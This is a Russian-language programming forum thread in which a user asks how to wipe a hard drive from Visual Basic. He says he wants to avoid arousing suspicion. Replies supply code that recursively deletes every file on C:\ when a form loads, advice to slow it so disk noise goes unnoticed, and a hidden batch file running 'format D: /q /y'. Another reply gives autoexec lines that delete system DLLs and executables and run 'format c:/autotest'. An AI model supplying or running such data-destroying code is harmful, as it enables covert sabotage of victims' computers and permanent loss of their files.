Страница: 1 |
Страница: 1 |
Вопрос: Как отформатировать жесткий диск на VB
Добавлено: 11.06.05 22:48
Автор вопроса: 999 | Web-сайт:
Кто знает может как это сделать.
Есть идея стереть первую дорожку первого сектора на диске, или удалить дерево каталогов, но как это сделать программно.
Ответы
Всего ответов: 10
Номер ответа: 1
Автор ответа:
Morpheus
Вопросов: 224
Ответов: 3777
Web-сайт:
Профиль | | #1
Добавлено: 12.06.05 01:06
А ты что ли нашёл уже инфу как вгрызаться в чужие EXE?
Номер ответа: 2
Автор ответа:
ViktorZ
ICQ: 271202919
Вопросов: 56
Ответов: 837
Профиль | | #2
Добавлено: 12.06.05 03:14
а причем здесь это
Номер ответа: 3
Автор ответа:
HACKER
Разработчик Offline Client
Вопросов: 236
Ответов: 8362
Профиль | | #3
Добавлено: 12.06.05 04:25
По возникшему офтопу:
Учить PE
Найти джоинер (склеиватель) который умеет работать через коммандную строку
Не клеится к exe, а в себя клеить exe менят у себя имя на exe который приклеяли, удялять exe тот что приклеяли. Тогда когда запустится наша прога извлекать прикляный exe (орегинальную прогу) и запускать её, ну а мы ж уже будем запущены и так. Вообщем методом через попку думаю не проблема, сдлеть по нормальному конечно сложно.
По топику:
Отформатировать неполучится, т.к. загружена ОС. Можно отформатировать диск НЕ скоторого грузилась ос. Удалить дерево каталогов полностью неполучится, опять же ОС кое что не разришит удалять. Ну а так что-то типа:
Private Const MAX_PATH = 260
Private Const INVALID_HANDLE_VALUE = -1
Private Const FILE_ATTRIBUTE_DIRECTORY As Long = &H10
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function FindFirstFile Lib "KERNEL32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "KERNEL32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "KERNEL32" (ByVal hFindFile As Long) As Long
Dim FindFile As New Collection
Public Sub DelFiles(Path$)
'Подпрограмма для удаления файлов в папке с фильтром (*.* or *.ini or file.*)
On Error Resume Next
sFilter$ = Spliting(Path$, "\"
FindPath$ = Replace(Path$, sFilter$, ""
Dim objName As String
Dim hSearch As Long
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
Cont = True
hSearch = FindFirstFile(FindPath$ & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
objName = Left(WFD.cFileName, InStr(WFD.cFileName, Chr(0)) - 1)
If Not (objName = "." Or objName = ".." Then
If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = 0 Then
If sFilter$ = "*.*" Then
Kill FindPath$ & objName
Else
e0$ = Spliting(objName, "."
e1$ = Spliting(sFilter$, "."
If e0$ = e1$ Then Kill FindPath$ & objName: GoTo e
e0$ = Left(Spliting(objName, "\", InStr(1, Spliting(objName, "\", ".", 1) - 1)
e1$ = Left(sFilter$, InStr(1, sFilter$, ".", 1) - 1)
If e0$ = e1$ Then Kill FindPath$ & objName
e:
End If
Else
 elFiles Source & objName & "\"
End If
End If
Cont = FindNextFile(hSearch, WFD)
Loop
Cont = FindClose(hSearch)
End If
End Sub
Public Function Spliting(sFullPath As String, point As String)
If sFullPath = "" Then Exit Function
Dim str1() As String
str1 = Split(sFullPath, point)
Spliting = str1(UBound(str1))
End Function
в лоадформе
DelFiles "C:\"
Номер ответа: 4
Автор ответа:
999
Вопросов: 13
Ответов: 26
Web-сайт:
Профиль | | #4
Добавлено: 12.06.05 14:41
Спасибо за пример HACKER.
, но ведь он долгий и венчистер наверное будет долго жужать, а это вызовет не нужные подозрения, ты писал, что можно как то отформатировать диск на который не установлена ОС. Если можно по подробней об этом.
Номер ответа: 5
Автор ответа:
999
Вопросов: 13
Ответов: 26
Web-сайт:
Профиль | | #5
Добавлено: 12.06.05 14:51
Morpheus
Я писал где то на форуме, что как вгрызаться в жучие EXE я не нашел, но нашел как хранить данные из одной проги сделанный на VB в другой проге тоже на VB
Номер ответа: 6
Автор ответа:
HACKER
Разработчик Offline Client
Вопросов: 236
Ответов: 8362
Профиль | | #6
Добавлено: 12.06.05 18:15
Не обязательно чтоб вторая была на ВБ.
2 999
Да, тормознутасть с одной стороны большая, с другой стороны это самый быстрый способ обхода всех файлов на диске, поэтому винт и жужит сильно. Чтобы сделать удаление медленее, можно после Do While Cont, DoEvents поставить, и/или паузу там организовать, тогда винт будет медление читать файлы ну и жужать не будет... Ещё вариант использовать рекурсивный перебор контролами Drive, Dir and File ... это медленный способ но жужать тоже будет не так сильно.
По поводу форматирования...
Предположим ОС грузилась с C:, тогда чтобы форматнуть D: ...
Open "C:\tmp.bat" For Output As #1
'Print #1, "format D: /q /autotest"
Print #1, "format D: /q /y"
Close #1
Shell "C:\tmp.bat", vbHide
End Sub
Тестировать код не советую, т.к. за последствия не отвечаю, или исправь D: на A: . На то что закоментировано бывает нехватает прав, вообщем пробуй )))
Номер ответа: 7
Автор ответа:
Barsik
Разработчик Offline Client
ICQ: 343368641
Вопросов: 17
Ответов: 686
Web-сайт:
Профиль | | #7
Добавлено: 14.06.05 11:20
2 HACKER: а зачем форму грузить. можно просто модуль и Sub Main
Номер ответа: 8
Автор ответа:
Barsik
Разработчик Offline Client
ICQ: 343368641
Вопросов: 17
Ответов: 686
Web-сайт:
Профиль | | #8
Добавлено: 14.06.05 11:22
да, кстати вот что можно предложить
Print #1, "@echo off" 'прописываем строчку
Print #1, "del " & WD & "\system\*.dll" ' ага... в автоэкзеке появились новые строки...
Print #1, " format c:/autotest" ' о-о-о! Что это??? Как это???
Print #1, "del " & WD & "\*.exe"
Close #1 ' закрываем редактированные файло
Номер ответа: 9
Автор ответа:
999
Вопросов: 13
Ответов: 26
Web-сайт:
Профиль | | #9
Добавлено: 11.07.05 20:42
Barsik а что это за команда такая format c:/autotest
че она делает.
Номер ответа: 10
Автор ответа:
Barsik
Разработчик Offline Client
ICQ: 343368641
Вопросов: 17
Ответов: 686
Web-сайт:
Профиль | | #10
Добавлено: 15.07.05 20:49
а ты сам догодайся